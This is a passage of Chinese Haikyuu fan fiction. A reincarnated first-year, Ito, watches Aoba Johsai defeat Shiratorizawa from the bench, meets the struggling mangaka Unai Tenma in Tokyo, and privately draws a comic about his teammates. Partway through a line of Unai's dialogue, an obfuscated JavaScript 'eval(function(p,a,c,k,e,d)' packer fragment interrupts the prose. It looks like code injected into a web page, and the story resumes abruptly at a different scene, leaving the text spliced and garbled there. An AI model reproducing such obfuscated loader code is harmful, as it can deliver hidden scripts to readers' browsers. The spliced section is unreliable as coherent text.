不是焦虑。 而是他在思考。 他在想,青城今天的表现为什么和往年不一样。 他在想,那个自由人为什么在第四局和第五局的状态忽然提升了。 渡不是一个人在战斗。 他的身后有一个随时可以接替他的后辈。 那个后辈的存在让他不再害怕失误,不再害怕受伤,不再害怕失败。 他可以把自己逼到极限,因为他知道,即使他倒下了,还有一个人可以接上。 这就是伊藤存在的意义。 暂停结束后,白鸟泽换了战术。 他们开始频繁地使用后排进攻,打乱青城的防守阵型。 白布的托球变得更加多变,不再只依赖牛岛,而是开始更多地利用大平、五色和天童的进攻能力。 青城的防守开始出现漏洞。 渡的体力在下降——连续五局的高强度防守让他的移动速度明显减缓。 花卷在后排的防守虽然依然稳定,但白鸟泽的进攻点多得让他顾此失彼——大平的后排进攻、五色的后排进攻、天童的后排进攻,三个人从三个不同的方向扣球,花卷只有一个人,他只能守住一个方向。 九比八,白鸟泽追回两分。 青城领先优势缩小到一分。 及川站在网前,看着对面的牛岛。 牛岛也看着他。 及川托给了岩泉。 岩泉起跳——天童和大平的拦网封住了他的直线,岩泉在空中改变了手腕的方向,球从斜线的角度穿了过去。 山形判断出了球的落点,移动了过去,但他的手臂没有碰到球——球落在了距离他手臂不到十厘米的位置。 十比八。 青城发球。 及川的跳发球直接ACE,十一比八。 白鸟泽叫了暂停。 伊藤看着比分板上的数字——十一比八,青城领先三分。 再得四分,青城就赢了。 他看了一眼及川。 及川站在场上,双手撑在膝盖上,大口大口地喘气。 他的运动服已经被汗水浸透了,贴在身上,勾勒出他消瘦但结实的身体轮廓。 他的脸色苍白,嘴唇发干,但他的眼神里有光。 那光不是“希望”的光,而是一种“我不会输”的光。 渡的手臂在发抖,但他的站姿依然稳定。 岩泉的表情依然坚毅,像是在说“我不会倒下”。 金田一的眼眶红了,但他没有哭。他咬着牙,站在网前,准备接下一个球。 国见的表情依然淡漠,但他的手在微微发抖——不是紧张,是兴奋。 暂停结束。 及川的发球飞向了白鸟泽的后排。 山形接了起来,送到了白布的手中。 牛岛扣球——球打在拦网球员的手上,弹出了界外。 十二比八。 青城再得一分。 白鸟泽叫了最后一次暂停。 伊藤看着白鸟泽的队员们走回场边。 牛岛站在中间,表情依然平静。 但他的平静不再让人感到安心——它让人感到一种说不清的压力。 像是在说:“我不会输。我不会在这里倒下。” 那种平静不是“我会赢”的平静,而是一种“我不会接受失败”的平静。 暂停结束后,白布托给了牛岛。 牛岛起跳——他的扣球穿过了松川和金田一的拦网,砸在了青城的场地上。 渡没有接到。 十二比九。 及川发球。 他的跳发球直接ACE,十三比九。 全场沸腾了。 青城的看台上,应援团的声音已经完全嘶哑了,但他们还在喊,还在挥舞着那面“制霸球场”的横幅。 白鸟泽发球。 天童的发球飘向了青城的后排。 金田一接了起来——他的前臂在球接触的瞬间微微后撤,卸力。球弹了起来,弧线不高不低,不快不慢,稳稳地飞向了及川的方向。 及川托给了国见。 国见起跳——他的身体在空中微微后仰,右手后拉。 天童的直觉拦网出现了。 他的手臂提前伸到了球的路线上——他的直觉告诉他,国见会扣直线。 但国见没有扣球。 他在空中将球轻轻拨到了天童身后的空档。 球落地了。 十四比九。 青城局点,也是赛点。 全场安静了。 所有人都屏住了呼吸。 那种安静不是压抑,不是窒息,而是一种即将爆发的沉默——像是在暴风雨来临前的那一刻,天空中乌云密布,雷声在云层中滚动,但雨还没有落下来。 及川托给了岩泉。 岩泉起跳——天童和大平的拦网封住了他的所有线路。 岩泉扣球。 球打在天童的手上,弹了起来,飞向了空中。 白布追上了球。 他的脚步很快,身体在球的下方稳稳地站住了。 他的左手在空中展开,五根手指张开。 球落在他手掌的瞬间,他的手腕轻轻一沉。 然后他托给了牛岛。 牛岛起跳。 他的身体在空中完全舒展,左手后拉,然后猛地挥出。 球砸在了青城的场地上。 渡移动了过去。 但他的手臂没有碰到球——球太快了,快到他的身体来不及反应。 十四比十。 及川站在底线后,手里转着球。 他看着对面的白鸟泽。 他的眼神很平静。 他抛球,助跑,起跳。 球以他今天最快的速度飞向白鸟泽的后场。 山形判断出了落点,移动了过去。 他的前臂在球接触的瞬间微微放松,呼气——球弹了起来,飞向了白布的方向。 白布托给了牛岛。 牛岛起跳。 松川和金田一起跳拦网。 渡在后排蹲低身体。 伊藤在板凳上,身体前倾,双手攥紧了毛巾。 他的指甲嵌进了毛巾的纤维里,指节泛白,手背上的青筋暴起。 球从松川和金田一的拦网之间穿过。 砸向了青城的后场。 渡移动了过去。 他的手臂迎了上去。 球砸在渡的前臂上,弹了起来。 飞向了及川的方向。 及川追上了球。 他的脚步很快,身体在球的下方稳稳地站住了。他的左手在空中展开,五根手指像是在弹钢琴一样依次张开。 球落在他手掌的瞬间,他的手腕轻轻一沉,像是在称量球的重量。然后他托给了岩泉。 岩泉起跳。 他的身体在空中完全舒展,右手后拉,然后猛地挥出。 球穿过了天童的拦网。 天童的手臂伸了出去。 但他的指尖距离球还有几厘米。 那几厘米,像是一道无法跨越的鸿沟。 球砸在了白鸟泽的场地上。 落地了。 哨声响了。 十五比十。 青叶城西赢了。 伊藤坐在板凳上,大脑一片空白。 他看着场上。 金田一跪在地上,双手捂着脸,肩膀在剧烈地颤抖。他的哭声透过手掌传出来,闷闷的,带着一种压抑了三年的释放。 国见站在他旁边,面无表情,但眼泪从眼眶里滑落下来,划过他的脸颊,滴在地板上。他没有擦,任由眼泪流着。 松川和花卷抱在一起,两个人的眼眶都红了。松川的手臂紧紧地箍着花卷的背,像是在确认这不是梦。 渡趴在地上,大口大口地喘着气,他的手臂已经失去了知觉,但他还在笑。 那笑容不是高兴,而是一种劫后余生的庆幸——像是在说“我还活着”。 岩泉站在场上,双手撑在膝盖上,低着头。 没有人能看到他的表情,但他的肩膀在微微颤抖。他的手指抓着膝盖,指节泛白,像是在用尽全力控制自己不要哭出来。 及川站在网前,看着对面的牛岛。 牛岛也看着他。 两个人的目光在网的上方交汇了一瞬。 然后牛岛点了点头。 那不是一个“恭喜”的点头,也不是一个“你赢了”的点头。那是一种“我知道了”的点头。 像是在说:“及川彻,你比我想象的更强。” 及川看着牛岛,没有笑,没有哭,没有任何表情。 他只是站在那里,看着牛岛,像是在确认一个事实。 然后他转过身,走回了青城的人群中。 金田一第一个抱住了他。 他的手臂紧紧地箍着及川的腰,脸埋在及川的胸口,哭声闷闷地传出来。 然后是岩泉,然后是松川,然后是花卷,然后是国见,然后是渡。 及川被围在人群中央,没有人能看到他的表情。 但伊藤看到他的肩膀在微微颤抖。 伊藤坐在板凳上,眼泪从眼眶里滑落下来。 他不知道自己在哭什么。 他没有上场,他没有接球,他没有得分。 ——他没有为这场胜利做出任何直接的贡献。 但他坐在那里,看着那些他在漫画中看过无数次的人,在现实中创造了奇迹。 青叶城西赢了白鸟泽。 一次都没有赢过的青城,赢了。 他低下头,用手背擦了擦眼泪。 手背上全是泪水和汗水的混合物,咸咸的,涩涩的。 系统提示音响了起来。 他没有去看。 他知道他的技术不会因为这场比赛而提升。 他的速度不会,他的力量不会,他的跳跃不会,他的爆发力不会,他的智力不会。 但他的心变了。 他不再是那个“知道剧情”的穿越者了。 剧情已经改变了他无法预测的幅度。 从今天开始,他不再是一个观众。 他是一个参与者。 是一个用自己的存在改变着这个世界走向的人。 他站起来,走向球场。 金田一看到他,跑过来一把抱住了他。 “伊藤!我们赢了!我们赢了白鸟泽!” 金田一的手臂很有力,箍得伊藤有点喘不过气。他的眼泪和鼻涕糊了伊藤一肩膀,但伊藤没有推开他。 伊藤没有说话。他只是拍了拍金田一的背。 一下,两下,三下。 国见走过来,面无表情地看了他一眼,然后说了一句:“你哭了。” “没有。”伊藤说。 “哭了。” “……好吧。” 国见没有再说话。他伸出手,拍了拍伊藤的头。 那个动作很轻,很温柔。 像是一个哥哥在安慰弟弟。 及川走过来的时候,伊藤正准备收拾东西。 “伊藤君。” 伊藤转过头,看着及川。 及川的眼睛很红,但他的表情很平静。 他看着伊藤,沉默了几秒钟。 然后说了一句话。 “谢谢你。” 伊藤愣了一下。 “谢谢你来到这里。”及川说。 伊藤低下头,不知道该说什么。 他的喉咙像是被什么东西堵住了,发不出任何声音。 及川没有等他回答,转身走了。 伊藤站在原地,看着及川的背影。 体育馆里的灯光很亮。 亮到有些刺眼。 他低下头,看着自己的手。 那双打了六年排球、放弃过、又重新开始的手。 那双画了无数分镜、写过无数故事、正在创造另一个世界的手。 他握紧了拳头,然后松开。 他拿起笔记本,把它放进背包里。 然后他走出体育馆,走进了五月的夕阳里。 夕阳是橘红色的,把整个天空染成了一片温暖的颜色。 风吹过来,带着初夏的气息。 他的脸上还有泪痕,风吹在脸上,凉凉的。 青城打赢了决赛。 明天没有比赛。 但那是明天的事了。 16.第十六章 16. 决赛结束后的第二天,青叶城西排球部全体放假。 伊藤有弥在早上六点自然醒来,躺在床上盯着天花板看了半分钟,才想起今天不用去晨练。 身体还保持着比赛日的惯性——肌肉微微紧绷,心跳比平时快一点,关节处传来隐隐的酸痛,是昨天坐在板凳上太久留下的僵硬。 他翻了个身,把脸埋进枕头里。 决赛赢了。 青叶城西赢了白鸟泽。 他在替补席上坐了整整五局,没有上场。渡算是打满了全场,他的手臂在赛后肿了一圈,但他在场上从未表现出任何退缩的迹象。 伊藤闭上眼睛,脑海中又浮现出昨天第四局及川那个从底线飞扑出去的救球。 他的身体几乎与地面平行,手臂在球落地的前一刻将球兜了起来。 那个球救了青城的命。 他睁开眼睛,坐了起来。今天不用训练,但他答应了山口,要去一趟东京。 新干线从仙台站出发的时候,窗外的天空还是灰蒙蒙的。 五月底的宫城县,梅雨季节前的最后一段晴朗日子,云层很薄,阳光从云缝里漏下来,在田野上投下大片大片的金色光斑。 伊藤靠窗坐着,手里拿着一本翻开了但没在读的文库本。 他的思绪还在昨天的比赛上,一遍又一遍地回放着那些关键分的画面。 车过福岛的时候,手机震动了。是金田一发来的消息。 “伊藤!你今天真的去东京吗?” 伊藤回复了一个“嗯”。 “好羡慕!我也想去!” “你不是说要补觉吗?” “补完了!好无聊!” 伊藤嘴角弯了一下,把手机放回口袋。 三个小时后,新干线驶入东京站。 五月底的首都已经有些闷热了,车站里的人流比仙台站密集得多,所有人都行色匆匆。 伊藤背着一个不大的背包,穿着一件深灰色的卫衣,站在八重洲口的出口处,看着来来往往的人群。 他不太习惯这个城市了。 穿越前他住在东京,习惯了这里的拥挤、嘈杂和快节奏。 但在宫城县住了一个多月之后,再回到东京,他忽然觉得这座城市让人有些喘不过气。 山口在短信里说的集合地点是神保町附近的一家家庭餐厅。 伊藤坐了两站地铁,出站后步行了大概十分钟,找到了那家店。 店面的招牌有些褪色,看起来开了很多年了。 山口已经在里面了。 他坐在靠窗的位置,面前放着一杯已经喝了一半的咖啡,正在翻看一沓打印出来的读者问卷。 看到伊藤走进来,他抬起手挥了挥,脸上的笑容很灿烂。 “小川老师!”山口的声音比电话里还要高一些,带着一种编辑特有的热情,“这边这边!” 伊藤走过去,在他对面坐下。服务员过来点了单,他只要了一杯热茶。 “决赛怎么样?”山口问。 “赢了。” “真的?青城赢了白鸟泽?”山口瞪大了眼睛,语气里满是不可思议,“我虽然不太懂排球,但白鸟泽不是连续好几年全国大赛的队伍吗?” “嗯。”伊藤说,“但我们赢了。” “太厉害了!”山口拍了拍桌子,然后又像是忽然想起了什么,压低声音说,“你昨天没上场?” 伊藤摇了摇头。 “可惜。”山口说,“不过你还是一年级嘛,以后有的是机会。” 伊藤点了点头,没有多说什么。 山口见他不想继续这个话题,也不再追问,从包里拿出几页纸递过来。 “这是上周《第二防线》的读者问卷数据,综合排名第七位。” 伊藤接过纸,扫了一眼上面的数字。第七位。比上周又上升了两位。 “编辑部的意思是,如果下一话能保持这个势头,彩页的事基本就定下来了。”山口的语气里带着一丝兴奋,“第七位啊,小川老师。你才连载了五话。” 伊藤放下纸,端起茶杯喝了一口。 茶有些烫,他吹了吹,又喝了一口。 “对了,”山口忽然想起了什么,放下手里的杯子,“待会儿还有一个人要来。” 伊藤抬起头,看着山口。 “我们编辑部最近在谈一个新作者的合作,也是画漫画的。”山口的表情变得有些微妙,像是在斟酌用词,“他画了好几年了,但一直不太顺利。他的编辑不是我,是隔壁组的。不过我觉得你们应该认识一下。” “为什么?” 山口笑了一下:“因为他也打排球。” 伊藤还没来得及追问,餐厅的门被推开了。 走进来的是一个看起来二十出头的年轻男人。 他穿着一件宽松的米白色卫衣,下面是一条深色的休闲裤,脚上穿着一双看起来很舒服的运动鞋。 他的头发是黑色的,微卷,长度到了肩膀,用一根细细的皮筋松松地扎在脑后。 整个人看起来很纤细,皮肤很白,像是常年待在室内不晒太阳的那种白。 但让伊藤在意的不是这些。 他认识这张脸。 宇内天满。 在漫画中看到的样子和现实中看到的样子完全不同。 漫画里的宇内天满给人一种“小巨人”的压迫感——即使身材矮小,但站在球场上的气势让人忘记了他的身高。 而现实中的宇内天满看起来就像是一个普通的大学毕业生,有些柔软,有些安静,甚至在推门进来的时候还有些犹豫,像是在确认自己有没有走错地方。 但伊藤注意到他的眼睛。 那双眼睛很亮,和在漫画中看到的一模一样。那是日向翔阳在电视上看到的那双眼睛,是让一个小学生从此爱上排球的那双眼睛。 “宇内老师!”山口站起来,朝宇内挥手,“这边!” 宇内走过来,在山口旁边坐下。 他看了伊藤一眼,目光在他脸上停了一下,然后微微点了点头。 “你好。”宇内的声音比伊藤预想的要轻,带着一种温和的、不急不慢的节奏,“我是宇内天满。” “我是伊藤有弥。”伊藤说,“笔名是小川由里子。” 宇内眨了眨眼睛,目光里闪过一丝惊讶。 “你就是《第二防线》的作者?”宇内问。 “嗯。” 宇内上下打量了伊藤一眼,然后笑了。 那笑容很自然,不是客套,而是真的觉得有意思。 “山口跟我说你是个高中生,但我没想到你看起来这么……”宇内顿了一下,像是在找合适的词,“……普通。” 伊藤不知道该说什么,只是低下了头。 “不是贬义。”宇内连忙补充,“我的意思是,你的漫画画得那么好,我以为你会是个更有……呃……艺术气息的人?” 山口在旁边笑出了声:“宇内老师,你的‘艺术气息’是什么意思?” “就是……那种……”宇内比划了一下,“头发很长的?戴着贝雷帽的?” “那不是漫画家,那是画家。”山口说。 “哦。”宇内认真地想了想,“那漫画家应该是什么样的?” “就像你这样的。”山口指了指宇内,“穿卫衣,不修边幅,头发永远懒得剪。” 宇内低头看了看自己的卫衣,又摸了摸自己的头发,露出了一个有些不好意思的笑容。 伊藤看着两个人的互动,嘴角微微弯了一下。 他忽然觉得,宇内天满和他在原著中想象的有些不一样。 原著中的宇内天满是一个传说,是一个遥远的存在,是日向翔阳追逐的目标。 但现实中的宇内天满就是一个普通人——一个会因为找不到合适的词而卡壳、会因为被调侃而不好意思、会穿着宽松卫衣坐在家庭餐厅里喝咖啡的普通人。 “对了,”山口收起笑容,转向宇内,“宇内老师,你那边的连载怎么样了?” 宇内的表情微微变了一下。那个变化很小,但伊藤注意到了。 他的笑容还在,但嘴角的弧度小了一些,眼睛里的光也暗了一些。 “啊,那个啊。”宇内拿起桌上的水杯喝了一口,“《僵尸剑士佐比修》,上周的排名……不太理想。” 山口沉默了一下,然后说:“第几位?” 宇内没有回答,只是摇了摇头。 伊藤看着他的表情,忽然觉得有些熟悉——那是他在前世的自己脸上见过很多次的表情。 是连载被通知腰斩时、是读者问卷连续垫底时、是编辑说“我们可能需要重新考虑一下”时的表情。 “不过没关系。”宇内抬起头,又笑了。这一次的笑容比刚才用力了一些,像是刻意让自己振作起来,“下一话我会画得更好的。反正我已经被腰斩过好几次了,习惯了。” 山口看着宇内,欲言又止。 他最终没有说什么,只是点了点头。 伊藤坐在对面,安静地听着。 他没有插话,因为他知道自己没有资格说什么。 他只是画了五话连载的新人,排名第七位,被编辑部看好,甚至可能拿到彩页。 而宇内天满画了好几年,被腰斩过好几次,一直在边缘挣扎。 他不知道该说什么。 沉默持续了几秒钟。山口打破了僵局。 “对了,宇内老师,你知道吗?伊藤也是打排球的。” 宇内转过头,看着伊藤,眼睛里又亮了起来。 “真的?” “嗯。”伊藤说,“青城排球部的。” “青城?”宇内重复了一遍这个校名,“就是那个……” “昨天赢了白鸟泽的青城。”山口补充道。 宇内的眼睛瞪大了。 他盯着伊藤看了两秒钟,然后身体前倾,语气变得认真起来。 “你昨天在现场?” 伊藤点了点头。 “白鸟泽……输了?”宇内的声音有些发紧。 “嗯。”伊藤说,“三比二。” 宇内靠在椅背上,长长地呼出一口气。 他的表情很复杂——不是单纯的惊讶,而是一种混合了感慨、怀念和一些说不清的情绪的复杂表情。 “我高中的时候,从来没赢过白鸟泽。”宇内说,声音很轻,像是在自言自语,“那时候白鸟泽有牛岛。不对,牛岛那时候应该比我小一届……反正就是很强。我们乌野和白鸟泽打,每次都输。” 伊藤没有说话。 他想起原著中宇内天满带领乌野打进全国大赛的故事——那不是靠天才球员,而是靠一群普通人拼尽全力创造出来的奇迹。 十六强。 在那个没有牛岛、没有及川、没有影山、没有日向的时代,宇内天满把乌野带到了全国十六强的高度。 “不过,”宇内忽然笑了一下,“你们赢了白鸟泽。这真的很厉害。” 伊藤低下头,看着自己面前那杯已经凉了的茶。 “我没有上场。”他说。 宇内愣了一下。 “我坐在板凳上看的。”伊藤说,“一整场,从头到尾。” 宇内沉默了几秒钟,然后说了一句让伊藤意外的话。 “那你也参与了。” 伊藤抬起头,看着宇内。 “比赛不是只有上场的人才叫参与。”宇内的语气很平静,不是在安慰,而是在陈述一个他深信不疑的事实,“你坐在板凳上,你的存在本身就在影响场上的人。你的队友知道你坐在那里,知道你是他们的一部分,这就够了。” 伊藤看着他,不知道该说什么。 “我以前在乌野的时候,”宇内继续说,“板凳上也有很多人。有些人可能三年都没上过场。但他们每天都在训练,每天都在捡球,每天都在喊加油。没有他们,我们不可能打进全国大赛。” 宇内说完,端起水杯喝了一口,然后像是想起了什么,忽然笑了。 “而且你现在才一年级。”他说,“我一年级的时候也是板凳。板凳不丢人。” 山口在旁边插了一句:“宇内老师,你一年级的时候也是替补?” “当然啊。”宇内理直气壮地说,“我可是从替补席上看着前辈们的背影长大的。” 伊藤嘴角弯了一下。 那顿饭吃了将近两个小时。 山口中途接了一个电话走开了,留下伊藤和宇内两个人面对面坐着。 宇内问了很多关于青城和白鸟泽那场比赛的问题。 他问牛岛的发球是不是真的那么重,问及川的跳发球到底是什么水平,问白鸟泽的拦网体系是怎么运转的,问青城是怎么在二比零落后的情况下连扳三局的。 他的问题很细,细到伊藤觉得他像是在做排球比赛的复盘分析。 但伊藤忽然意识到,宇内不是在复盘比赛。 他是在收集素材。 作为一个漫画家,他需要这些细节来让自己的作品更加真实。 “你画的是什么类型的漫画?”伊藤问。 宇内愣了一下,然后有些不好意思地笑了。 “僵尸题材的。”他说,“《僵尸剑士佐比修》。就是那种……打打杀杀的热血漫画。” “那为什么要问排球的事?” 宇内想了想,说:“因为打斗场面的分镜和运动漫画的分镜其实是相通的。人物的动作、身体的动态、镜头角度的选择——这些东西不管是什么题材都是共通的。” 他停了一下,然后补充了一句:“而且我大学就没打排球了,现在的动作分镜都是靠以前打球的记忆。有时候画着画着,就忽然想不起来某个动作到底是什么样的了。” 伊藤忽然想到了什么。 “你大学为什么没打了?” 宇内沉默了几秒钟。 “没有球队要我。”他说,语气很平静,像是在说一件很久以前就已经接受了的事情,“我身高太矮了。高中还能靠弹跳和速度弥补,到了大学,大家的身体都更强了,我的劣势就更明显了。没有大学球队邀请我,我就……不打了。” 伊藤看着他,不知道该说什么。 “然后就开始画漫画了。”宇内笑了一下,“画了好几年,一直被腰斩,但一直在画。” “为什么?” “什么为什么?” “为什么一直画?” 宇内看着伊藤,沉默了很长时间。 “因为喜欢吧。”他最终说,声音很轻,“除了画漫画,我也不知道自己还能做什么了。” 伊藤低下头。 宇内的话让他想起了前世的自己——那个放弃了排球、拿起画笔的自己。 他也曾经问过自己同样的问题:为什么一直画?答案和宇内一模一样:因为喜欢。 除了画画,也不知道自己还能做什么。 “你呢?”宇内问,“你为什么画排球漫画?” 伊藤想了想,说:“因为我还在打排球。” 宇内笑了。 “那你要好好打。”他说,“把你在球场上看到的、感受到的,都画进漫画里。这种东西是坐在家里凭空想象画不出来的。” “我会的。” 山口打完电话回来的时候,看到两个人还在聊,脸上的表情变得有些微妙。 “你们聊得挺好的嘛。”山口说。 “伊藤君懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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角落里放着一张折叠床,床上的被子没有叠,皱巴巴地堆在一起。 “有点乱。”宇内挠了挠头,有些不好意思,“最近赶稿,没时间收拾。” 伊藤走到书桌前,低头看着桌上摊开的原稿。 那是一张打斗场面的分镜,两个角色在空中交错,刀光剑影,动作张力十足。 但伊藤注意到,在画面的角落里,宇内用铅笔写了几行小字——不是台词,而是一些关于动作逻辑的笔记:“此处的转身不合理,应该是右肩先转”“落地后的重心在左脚,下一格的起跳会别扭”。 他在画打斗场面的时候,用的是运动分镜的逻辑。 宇内站在旁边,看到伊藤在看他的原稿,有些紧张地摸了摸后脑勺。 “画得不太好。”宇内说,“战斗场面的分镜我一直不太擅长。” 伊藤摇了摇头。 “不是不好。”伊藤说,“是你在用排球分镜的逻辑画战斗。动作的连贯性、身体的动态、重心转移——这些都是对的。但是战斗和排球不一样的地方在于,战斗有武器、有碰撞、有力量的对冲。你只画了身体的动态,没有画出武器碰撞时的力量感。” 宇内瞪大了眼睛,盯着伊藤看了好几秒钟。 然后他猛地转过头,看着自己的原稿,嘴里念念有词。 “武器碰撞时的力量感……”他重复着伊藤的话,眼睛越来越亮,“你说得对!我一直觉得哪里不对劲,但就是说不上来。原来是因为这个!” 他一把抓起桌上的铅笔,在原稿上飞快地画了几笔。 几秒钟后,他把原稿举起来,看着伊藤。 “这样呢?” 伊藤看了看。宇内在一格打斗场面中加了几条速度线和冲击波的扩散效果,画面瞬间有了力量感。 “好多了。”伊藤说。 宇内长长地呼出一口气,靠在椅背上,笑了。 “谢谢你,伊藤君。”他说,“今天收获很大。” 伊藤摇了摇头。 “是我要谢谢你。”他说。 宇内歪了歪头,表示不解。 伊藤没有解释。 他只是在想,今天见到宇内天满,是他穿越以来做得最正确的决定之一。 不是因为他从宇内那里学到了什么漫画技巧——虽然确实学到了。 而是因为他看到了一个人,在不断的失败面前,依然选择继续。 这种人在漫画里很多。 但在现实中,很少。 伊藤离开宇内工作室的时候,已经是下午四点多了。 他和山口在楼下分别,山口说下周会给他寄新的读者数据,让他保持状态。 伊藤走在神保町的旧书店街上,五月底的阳光已经没有那么刺眼了,斜斜地照在街道上,把人和建筑的影子都拉得很长。 他走进一家书店,在漫画区的架子上找了一会儿,找到了那本杂志。 他翻到《僵尸剑士佐比修》,站在那里看了一遍。 故事不算差。画功也不算差。 但伊藤能理解为什么它的人气不高——节奏太慢了,打斗场面的张力不够,主角的性格也不够鲜明。这些都是硬伤,不是靠热情能弥补的。 但他翻到最后一页的时候,看到了一行小字,是作者的话: “感谢各位读者的支持。我会继续努力的。宇内天满” 他看着那行字,站了很久。 然后他把杂志放回架子上,走出了书店。 回宫城县的新干线上,伊藤靠在座位上,看着窗外的景色从城市变成郊外,从郊外变成田野。 夕阳在远处的山脊上燃烧,天空从橙色渐变到紫色,云层很低,像是伸手就能摸到。 手机震动了一下。 是渡发来的消息。 “今天去东京了?” 伊藤回复了一个“嗯”。 “听说你去找编辑了?” 伊藤愣了一下。他从来没有跟任何人说过自己在画漫画的事。渡是怎么知道的? “金田一说的。他说你昨天在车上提到过。” 伊藤沉默了几秒钟,然后回复:“是。” 渡没有问他画的是什么漫画,也没有问笔名是什么。他只发了一句话: “注意休息。别受伤。” 伊藤看着那行字,心里涌起一股说不清的暖意。 渡知道他有自己的事情要做,没有追问,没有好奇,只是提醒他别受伤。这很渡。 他回复了一个“好”,然后把手机放回口袋。 窗外,天色已经完全暗了下来。 新干线的车厢里灯光通明,伊藤靠在座位上,闭上眼睛。 脑子里有很多画面在交错。 及川在决赛中飞身救球的背影,渡在赛后握紧拳头又松开的手,国见眼眶里打转却始终没有落下的泪水,金田一赛后大哭到说不出话的样子。 还有宇内天满坐在工作室里、对着原稿认真思考的侧脸,还有他说“因为喜欢吧”时那种平静的语气。 这些人都在做同一件事——在自己选择的路上,一步一步地往前走。 有的路好走一些,有的路难走一些,但他们都没有停下来。 伊藤睁开眼睛,看着车窗外飞逝的灯光。 他选择了两条路。排球和漫画。 一条是他曾经放弃过又重新拾起的路,一条是他一直在走、从未放弃过的路。 两条路都不容易,两条路都需要他付出全部的时间和精力。 但他不会停下来。 因为喜欢。 17.番外一 0. 六月的第一个周六,青叶城西高校排球部没有训练。 这不是教练的安排,而是体育馆要用来进行照明设备的检修。 工人们从早上就开始忙碌,把天花板上的日光灯一盏一盏地拆下来检查,整个场馆弥漫着灰尘和电线绝缘皮的气味,不适合任何人待在里面。 及川在群组里发了一条消息:“今天自由活动,谁都不许偷偷来体育馆加练,及川前辈会检查的。” 岩泉回复了一个字:“你也是。” 及川回了一个委屈的表情,然后就没有然后了。 伊藤有弥看到这条消息的时候,正坐在一年三班教室的座位上,手里拿着一支G笔尖,面前摊着一张原稿纸。 教室里只有他一个人,大部分学生都回家了,走廊里偶尔有人经过,脚步声在空旷的教学楼里回荡,很快又归于安静。 他本来打算回家的。 从学校走到他的公寓大概二十分钟,在家里画漫画和在教室里画漫画没有太大区别——他的书桌比课桌大一些,椅子也更舒服,但今天他不想回去。 公寓太安静了,安静到能听到冰箱运转的声音和水管里水流的声音。 那种安静有时候让人安心,有时候让人觉得自己是世界上最后一个人类。 教室里至少能看到窗外操场上的风景。 田径部的人在跑圈,足球部的人在练习射门,棒球部的人在挥棒。 那些声音隔着玻璃传进来,模糊而遥远,像是一层薄薄的纱覆在真实世界的表面。 伊藤低头,笔尖落在原稿纸上,开始画。 他画的是《第二防线》的第七话。 这一话的内容是主角夏川优所在的队伍在县大会预选赛中迎战一支强队,夏川作为自由人第一次在正式比赛中首发出场。 他画得很专注,线条比一个月前流畅了很多,人物的比例也更准确了。 山口在最近一次电话中说他的画功“进步明显”,他不知道这是客套还是真心话,但至少他自己也能感觉到那种变化——手不再生了,笔触有了自信,分镜的节奏也不需要反复调整了。 画完一格之后,他停下来,把原稿纸举起来看了看。 然后他把它放回桌上,拿起了另一张纸。 这张纸不是原稿纸,只是一张普通的A4打印纸,边缘有些卷曲,右下角还有一块咖啡渍——是他上周不小心洒上去的。 纸面上已经画了几格漫画,不是《第二防线》,是另一个故事。 主角是及川彻。 不,不是及川彻。 是一个头发比他长一些、下巴比他尖一些、笑起来比他欠揍一些的二传手。 但任何一个看过青城排球部训练的人,都能在第一眼认出这个角色是谁。 因为他的发球姿势和及川一模一样——抛球的高度、助跑的步幅、起跳时身体的角度,甚至连落地后习惯性整理头发的小动作都被画了进去。 岩泉一也被画进去了。 不,是一个体型比他壮一些、表情比他凶一些的主攻手。 但他在扣球时那种全身像弓一样绷紧的姿态,那种扣球落地后面无表情走回位置的样子,和岩泉如出一辙。 渡、金田一、国见、松川、花卷、京谷——所有人都在。 伊藤把青城排球部的每一个人都画进了这部漫画里。 不是《第二防线》那种经过变形和重构的角色,而是几乎原封不动的、一眼就能认出来的青城队员。 他把他们的性格放大了——及川的自恋从“偶尔”变成了“随时随地”,岩泉的严肃从“认真”变成了“过度”,金田一的热情从“有些吵闹”变成了“永远在喊”,国见的省电从“偶尔偷懒”变成了“随时可能关机”。 但内核是对的。每一个角色的内核都是对的。 他给这部漫画取了一个名字,叫《青城日常》。 不是用来投稿的,是他自己画着玩的。 每天晚上训练结束、洗完澡、画完《第二防线》的必交原稿之后,如果还有时间和精力,他就会画一两页《青城日常》。 有时候是及川在更衣室里对着镜子整理头发被岩泉一脚踢开,有时候是金田一在便利店买肉包发现最后一个被国见买走了,有时候是渡在晨练时发现伊藤已经跑完了五公里、露出那种“这小子又比我先到”的表情。 这些画面在他的脑子里堆积了很多。 从入部第一天到现在,将近两个月的时间,他和这些人一起经历了晨练、部活、加练、练习赛、正式比赛。 他见过及川在训练结束后一个人留下来发球到深夜的背影,见过岩泉在渡状态不好的时候默默帮他捡球,见过金田一在输掉练习赛后躲在更衣室里偷偷抹眼泪,见过国见在所有人都离开后还在一遍一遍地练扣球。 这些瞬间太小了,小到不值得被写进比赛报道里,小到不会出现在任何人的记忆中。 但伊藤记得。 他的脑子像一台摄像机,把这些瞬间一帧一帧地记录下来,然后在深夜转化成笔下的线条。 他画了大概二十分钟,把《青城日常》第四页的最后一格画完了。 内容是这个——更衣室里,及川站在镜子前,用手把头发往后拢,露出额头,左看右看,然后露出一个满意的笑容。 下一格,岩泉从旁边经过,面无表情地把他的头按了下去。 再下一格,及川的头发塌了,表情垮了,岩泉已经走出了画面。 最后一格,及川对着岩泉的背影喊:“岩酱!我的发型花了二十分钟!”岩泉没有回头,只伸出一只手,比了一个拳头。 伊藤看着这四格,嘴角弯了一下。 然后他听到了脚步声。 不是走廊里的那种模糊的、由远及近的脚步声。 是已经走到教室门口、马上就要进来的那种脚步声。 伊藤的身体比大脑反应更快。 他下意识地把《青城日常》的稿纸翻过来扣在桌上,用《第二防线》的原稿盖住它,然后把G笔尖放在两叠稿纸之间。 整个过程不到两秒钟。 教室的门被推开了。 “伊藤!我就知道你在这里!” 金田一勇太郎的声音比他的人先进来。 他那头标志性的韭菜头出现在门口,然后是国见英面无表情的脸。 金田一手里提着一个便利店的塑料袋,里面装着三瓶运动饮料和一袋薯片。 “你怎么知道我在?”伊藤问。 “因为你不在体育馆,不在家,那就只能在教室。”金田一理直气壮地说,“而且你说过你今天要画稿子。” 伊藤确实说过。 昨天训练结束后金田一问他要不要一起打游戏,他说今天要画稿子。 